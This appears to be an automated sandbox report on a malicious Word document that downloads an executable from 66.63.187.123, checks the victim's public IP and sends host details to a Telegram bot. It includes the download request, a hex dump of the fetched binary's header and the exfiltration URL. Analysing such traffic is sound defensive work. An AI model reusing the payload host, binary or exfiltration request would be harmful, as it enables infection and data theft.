Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.123:80 -> 192.168.2.22:49163
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.123:80 -> 192.168.2.22:49163
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 9.2.ncfplgpeter20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.3362a30.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ncfplgpeter20306.exe.31c8d18.8.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Thu, 26 Sep 2024 07:25:01 GMTContent-Type: application/x-msdos-programContent-Length: 704000Connection: keep-aliveLast-Modified: Thu, 26 Sep 2024 03:29:52 GMTETag: "abe00-622fd59fdddc0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 d4 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 98 0a 00 00 24 00 00 00 00 00 00 76 b6 0a 00 00 20 00 00 00 c0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 b6 0a 00 4f 00 00 00 00 c0 0a 00 ac 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c 96 0a 00 00 20 00 00 00 98 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 20 00 00 00 c0 0a 00 00 22 00 00 00 9a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0b 00 00 02 00 00 00 bc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 b6 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 d0 59 00 00 5c 35 00 00 03 00 00 00 1e 00 00 06 2c 8f 00 00 f8 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 7c 00 00 00 00 00 00 00 02 28 15 00 00 0a 00 00 02 03 16 9a 28 16 00 00 0a 7d 08 00 00 04 02 02 7b 08 00 00 04 28 02 00 00 06 7d 01 00 00 04 02 03 17 9a 28 17 00 00 0a 7d 02 00 00 04 02 03 18 9a 28 17 00 00 0a 7d 04 00 00 04 02 03 19 9a 28 17 00 00 0a 7d 05 00 00 04 02 03 1a 9a 28 17 00 00 0a 7d 03 00 00 04 02 03 1b 9a 28 18 00 00 0a 7d 06 00 00 04 02 03 1c 9a 28 17 00 00 0a 7d 07 00 00 04 2a 13 30 02 00 21 00 00 00 01 00 00 11 00 0f 00 28 19 00 00 0a 20 6c 07 00 00 59 20 6d 01 00 00 5a 0f 00 28 1a 00 00 0a 58 0a 2b 00 06 2a 00 00 00 13 30 05 00 6d 01 00 00 02 00 00 11 02 73 1b 00 00 0a 7d 09 00 00 04 02 20 80 96 98 00 7d 0a 00 00 04 02 23 00 00 00 00 d0 12 63 41 7d 0b 00 00 04 02 20 80 69 67 ff 7d 0c 00 00 04 02 23 00 00 00 00 d0 12 63 c1 7d 0d 00 00 04 02 20 0f 27 00 00 17 17 73 1c 00 00 0a 7d 0e 00 00 04 02 17 17 17 73 1c 00 00 0a 7d 0f 00 00 04 02 16 7d 10 00 00 04 02 16 7d 11 00 00 04 02 28 15 00 00 0a 00 00 03 28 1d 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:609290%0D%0ADate%20and%20Time:%209/27/2024%20/%2010:16:15%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20609290%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49164 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49173 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49166 -> 188.114.97.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/HgCppsoKmxQq.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2467304B-9A7F-4216-A178-345DF60D02BC}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:609290%0D%0ADate%20and%20Time:%209/27/2024%20/%2010:16:15%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20609290%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/HgCppsoKmxQq.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: ncfplgpeter20306.exe, 00000009.00000002.907062154.0000000000822000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 26 Sep 2024 07:25:40 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
